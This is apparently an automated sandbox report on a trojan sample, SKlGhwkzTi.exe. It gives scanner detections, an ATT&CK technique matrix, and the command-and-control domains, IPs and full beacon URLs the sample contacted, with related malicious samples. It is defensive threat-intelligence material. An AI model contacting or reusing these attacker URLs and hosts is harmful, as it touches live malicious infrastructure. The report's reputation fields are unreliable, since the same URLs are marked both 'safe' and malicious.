Source: Yara match	File source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.SKlGhwkzTi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SKlGhwkzTi.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.SKlGhwkzTi.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.SKlGhwkzTi.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter2	Path Interception	Process Injection612	Masquerading1	OS Credential Dumping	Security Software Discovery221	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection612	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	System Information Discovery112	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information4	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing3	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SKlGhwkzTi.exe	31%	Virustotal		Browse
SKlGhwkzTi.exe	41%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
4.2.SKlGhwkzTi.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File
4.0.SKlGhwkzTi.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Link
biztekno.com	1%	Virustotal	Browse
adultpeace.com	7%	Virustotal	Browse
www.69-1hn7uc.net	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.biztekno.com/p2io/?xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&YluDM=Ofc4YV0pThsp	0%	Avira URL Cloud	safe
https://www.cyrilgraze.com/p2io/?xN6x=PONkgH6MO5ViG	0%	Avira URL Cloud	safe
http://www.cyrilgraze.com/p2io/?xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG&YluDM=Ofc4YV0pThsp	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
www.adultpeace.com/p2io/	0%	URL Reputation	safe
www.adultpeace.com/p2io/	0%	URL Reputation	safe
www.adultpeace.com/p2io/	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.hiddenwholesale.com/p2io/?xN6x=es7Y2j6d/8vbylETtmEK+cycNhd4T49F/A456A8m/a4HPEjAATL8KRpgCeYlIlfO3VWH&YluDM=Ofc4YV0pThsp	0%	Avira URL Cloud	safe
http://www.cleanxcare.com/p2io/?xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiyL1Lf04YLJeQ+Gz7y&YluDM=Ofc4YV0pThsp	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.anewdistraction.com/p2io/?xN6x=ia0dgIkdnBZILDuo3zp8eo0tNiPxoXJfkPpt6P05AAGh3ZPzSagLTNX+xDwAHOv6iOkY&YluDM=Ofc4YV0pThsp	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
biztekno.com	151.106.118.75	true	true	1%, Virustotal, Browse	unknown
adultpeace.com	163.44.239.73	true	true	7%, Virustotal, Browse	unknown
www.69-1hn7uc.net	163.43.122.119	true	true	1%, Virustotal, Browse	unknown
www.cyrilgraze.com	104.21.65.7	true	true		unknown
cleanxcare.com	78.31.67.91	true	true		unknown
centergolosinas.com	192.169.223.13	true	true		unknown
pixie.porkbun.com	44.227.65.245	true	false		high
ext-sq.squarespace.com	198.185.159.144	true	false		high
www.hiddenwholesale.com	unknown	unknown	true		unknown
www.cleanxcare.com	unknown	unknown	true		unknown
www.anewdistraction.com	unknown	unknown	true		unknown
www.biztekno.com	unknown	unknown	true		unknown
www.centergolosinas.com	unknown	unknown	true		unknown
www.adultpeace.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.biztekno.com/p2io/?xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&YluDM=Ofc4YV0pThsp	true	Avira URL Cloud: safe	unknown
http://www.cyrilgraze.com/p2io/?xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG&YluDM=Ofc4YV0pThsp	true	Avira URL Cloud: safe	unknown
www.adultpeace.com/p2io/	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://www.hiddenwholesale.com/p2io/?xN6x=es7Y2j6d/8vbylETtmEK+cycNhd4T49F/A456A8m/a4HPEjAATL8KRpgCeYlIlfO3VWH&YluDM=Ofc4YV0pThsp	true	Avira URL Cloud: safe	unknown
http://www.cleanxcare.com/p2io/?xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiyL1Lf04YLJeQ+Gz7y&YluDM=Ofc4YV0pThsp	true	Avira URL Cloud: safe	unknown
http://www.anewdistraction.com/p2io/?xN6x=ia0dgIkdnBZILDuo3zp8eo0tNiPxoXJfkPpt6P05AAGh3ZPzSagLTNX+xDwAHOv6iOkY&YluDM=Ofc4YV0pThsp	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.cyrilgraze.com/p2io/?xN6x=PONkgH6MO5ViG	help.exe, 0000000D.00000002.919483231.0000000004052000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	explorer.exe, 00000006.00000000.716763832.0000000002B50000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://www.fonts.com	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SKlGhwkzTi.exe, 00000000.00000002.679283133.0000000002DE1000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.65.7	www.cyrilgraze.com	United States	13335	CLOUDFLARENETUS	true
198.185.159.144	ext-sq.squarespace.com	United States	53831	SQUARESPACEUS	false
151.106.118.75	biztekno.com	Germany	61157	PLUSSERVER-ASN1DE	true
163.43.122.119	www.69-1hn7uc.net	Japan	9370	SAKURA-BSAKURAInternetIncJP	true
44.227.65.245	pixie.porkbun.com	United States	16509	AMAZON-02US	false
78.31.67.91	cleanxcare.com	Germany	24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	true
192.169.223.13	centergolosinas.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	432735
Start date:	10.06.2021
Start time:	17:57:04
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 18s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	SKlGhwkzTi (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/1@8/7
EGA Information:	Failed
HDC Information:	Successful, ratio: 8.2% (good quality ratio 7.4%) Quality average: 73.3% Quality standard deviation: 31.4%
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 13.88.21.125, 184.30.21.219, 92.122.145.220, 52.147.198.201, 168.61.161.212, 20.82.210.154, 20.75.105.140, 20.72.88.19, 20.54.26.129, 2.20.142.210, 2.20.142.209, 92.122.213.247, 92.122.213.194 Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, storeedgefd.xbetservices.akadns.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, eus2-consumerrp-displaycatalog-aks2aks-useast.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, storeedgefd.dsx.mp.microsoft.com, www.bing.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, e16646.dscg.akamaiedge.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:58:05	API Interceptor	1x Sleep call for process: SKlGhwkzTi.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.21.65.7	6d56768e_by_Libranalysis.exe	Get hash	malicious	Browse	www.cyrilgraze.com/p2io/?hnKP_0F0=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O1VXv2W5rEqXTgoC5w==&nfrxU8=yVMtB8oP
	APPROVED.xlsx	Get hash	malicious	Browse	www.cyrilgraze.com/p2io/?6lzd4R3=PONkgH6JO+VmGu/vZj4YyU3gBn/U0y1OFS1Y8BXnr3YdY2x3tUozsPT0NTVR3XOxnye2KQ==&Mj=8pGl2P
	lFfDzzZYTl.exe	Get hash	malicious	Browse	www.cyrilgraze.com/p2io/?iBIXf4M=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O1VXv2W5rEqXTgoC5w==&_RAd4V=YL0THJvhl8d
	dw0Iro1gcR.exe	Get hash	malicious	Browse	www.cyrilgraze.com/p2io/?0pk=FtxhArA&FjUHSn=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O1ZX8ma6yUqB
	lfBVtTwPNQ.exe	Get hash	malicious	Browse	www.cyrilgraze.com/p2io/?E48=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O1VuwH26lS2QTgoFqA==&oPqLWb=dVeDBDrHInjx
	gqnTRCdv5u.exe	Get hash	malicious	Browse	www.cyrilgraze.com/p2io/?K81d7=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG&uTrL=Apdlbf
	g0g865fQ2S.exe	Get hash	malicious	Browse	www.cyrilgraze.com/p2io/?4h3=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25HzHKCsxDG&vTapK=LJBpc8p
	loMStbzHSP.exe	Get hash	malicious	Browse	www.cyrilgraze.com/p2io/?7nEpiRy=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O1VXv2W5rEqXTgoC5w==&sZvD8l=Spap-DKpf
198.185.159.144	New Purchase Order20210609.exe	Get hash	malicious	Browse	www.kokoshaveice.com/un8c/?3f-H3H=aZaLIE/CsZEbnkZXVKNJbEuElQpMoyTdbfBzj8jhRt7QilQZi3fXZMlsJ6JzgR8z/eaN&6lGd=HBZ81PLPUzqhOj
	LkvumUsaQX.exe	Get hash	malicious	Browse	www.totally-seo.com/p2io/?7ntDA=TySV6YYzJGXnavbEwOCoDLKT5SC+Z4HfI/S6WoKTLKp4rrhaLWxPw3pQ7PESKodUP59hGuNmhA==&p48x=MN6xDxf80FMxbj4
	Payment slip.exe	Get hash	malicious	Browse	www.shopkaitek.com/3edq/?2dUX-PAP=M8eNvF5zuYq6F34lAt80R5nTraHCYrh0rbrF9J+SqtSL9q0uJh3MK9H55PeJhjWLLkFu&D6Otan=1bu800r
	New Order Vung Ang TPP Viet Nam.exe	Get hash	malicious	Browse	www.kokoshaveice.com/un8c/?z8b=iZspkzE0JnS86&m6=aZaLIE/CsZEbnkZXVKNJbEuElQpMoyTdbfBzj8jhRt7QilQZi3fXZMlsJ6FzzBwwmOab/JVn8A==
	tzeEeC2CBA.exe	Get hash	malicious	Browse	www.totally-seo.com/p2io/?6lFp-=X8U4Iv&Yr0=TySV6YYzJGXnavbEwOCoDLKT5SC+Z4HfI/S6WoKTLKp4rrhaLWxPw3pQ7MooJpxvMOcw
	8mnXkjPdP0.exe	Get hash	malicious	Browse	www.mkpricephoto.com/sh2m/?8pQLN=M5mtQoHkyhxvNjqVlN4PGsv6kOee2cR+qVO1qalFjtpNC9HX6pJqwZiEg4Ppodp8IyRJ90NYeQ==&D6Ot3x=-Z8XfPP
	17jLieeOPx.exe	Get hash	malicious	Browse	www.totally-seo.com/p2io/?D48=TySV6YYzJGXnavbEwOCoDLKT5SC+Z4HfI/S6WoKTLKp4rrhaLWxPw3pQ7MooJpxvMOcw&2dYX6=1b-D6VYx
	fMWJqYA8ae.exe	Get hash	malicious	Browse	www.anewdistraction.com/p2io/?d0=5juHFPp&3fut_=ia0dgIkdnBZILDuo3zp8eo0tNiPxoXJfkPpt6P05AAGh3ZPzSagLTNX+xAc6EPDBh5FJ4wioMw==
	scan-copy059950059pdf.exe	Get hash	malicious	Browse	www.brooklynbrewbazaar.com/fmjo/?2dS4SpX8=qUbk/uSP+pf6p8qmG7yr2cJmoye0DgYz5erMRyDDKx4Ymj9j4BqWqohjbtdVFlEBw6X/&qXYlb=6lNDIzXhO2g0
	SKMBT_C224307532DL23457845_Product Order doc.exe	Get hash	malicious	Browse	www.naturalbeautyapparel.com/ftgq/?8p=58hLLa3vc2EaUDgAeKLskrXr8RI4DwN7z0OiuDdYZF5g/qPz05bciOqqek20YkD5yVzPo95r2g==&C48xf8=VFQ8p8YH
	rove.exe	Get hash	malicious	Browse	www.weab3.com/aipc/?6lSp=ArO83PE0Mh0TtZa0&bv4=/8Z60H0U3EWOvTAhTSZ91XRC3z3gfjmKnWg9Zo5NhivUL2SmA7Vc3Hh6HSm+FPngCfqp
	Failure Notice Details PDF.exe	Get hash	malicious	Browse	www.the-vma.com/j6xw/?pR-xqjW=KJ21CI6nWllw3jb6LNy/7vVKy2oA2dLgDihDwOEUrsElLp9L7M0HGY7NagSED+cXyB7S&srL4=IdpX_hpxaNVLNhX
	1092991(JB#082).exe	Get hash	malicious	Browse	www.shopkaitek.com/3edq/?JfEt9j6h=M8eNvF5zuYq6F34lAt80R5nTraHCYrh0rbrF9J+SqtSL9q0uJh3MK9H55PeJhjWLLkFu&ojn0d=RzuliD
	Payment SWIFT_Pdf.exe	Get hash	malicious	Browse	www.kellymoorefilms.com/5yue/?GFNDG=9mA+j1cgE0zxC7u3qAlNO+Wrolxb+XCp7JX8Z/rof2uElfHtAjnndbvjTcdg6uA8+xkX&Jv7=XVIXpLcx
	#U20ac9,770 pdf.exe	Get hash	malicious	Browse	www.cljcandles.com/pux4/?Lv0h=urYAAIc58DnUlhBmQa3gzHotkVmoZ0i8F09uLhqyCxRxwOZO+pPIwoj8ux/FJwO59BkQzbo13w==&VlKt=wBNl4pd0L
	HEN.exe	Get hash	malicious	Browse	www.portsidemonograms.com/aipc/?TlPt=tbuhbkKiZMbT51ggHlN5rcc+6ZFSDnA65ra1I1/h1SUWu7EEXe8DiVlqCzHYPKZm0j3JlFNexg==&6l=mnSl
	Taisier Med Surgical Sutures.exe	Get hash	malicious	Browse	www.weab3.com/aipc/?K8kl=/8Z60H0U3EWOvTAhTSZ91XRC3z3gfjmKnWg9Zo5NhivUL2SmA7Vc3Hh6HSqHJuLgVZ24lc1TFw==&lxo8y=MzuD_P1pZJ
	Purchase Order.pdf.exe	Get hash	malicious	Browse	www.jessicarusselldesign.com/gad0/?1bB=YNKficl4JuMpHD9ZucCDdKw50e3rZtwSzoj4IBtnMReh6UW5QmvMrqjFxOO0E0XDXWWo&3fS=dfc8-RnPKT4
	DHL_119045_Receipt document,pdf.exe	Get hash	malicious	Browse	www.wombatwellness.com/vfm2/?2d=mlyx&tzr8=UK/k0ZYUzZvJjxXC0JaC6NFAiBcJLAkUYbslNP+YAqhew59pS6ch9v0JexfzNGtQhbXqRxr51g==
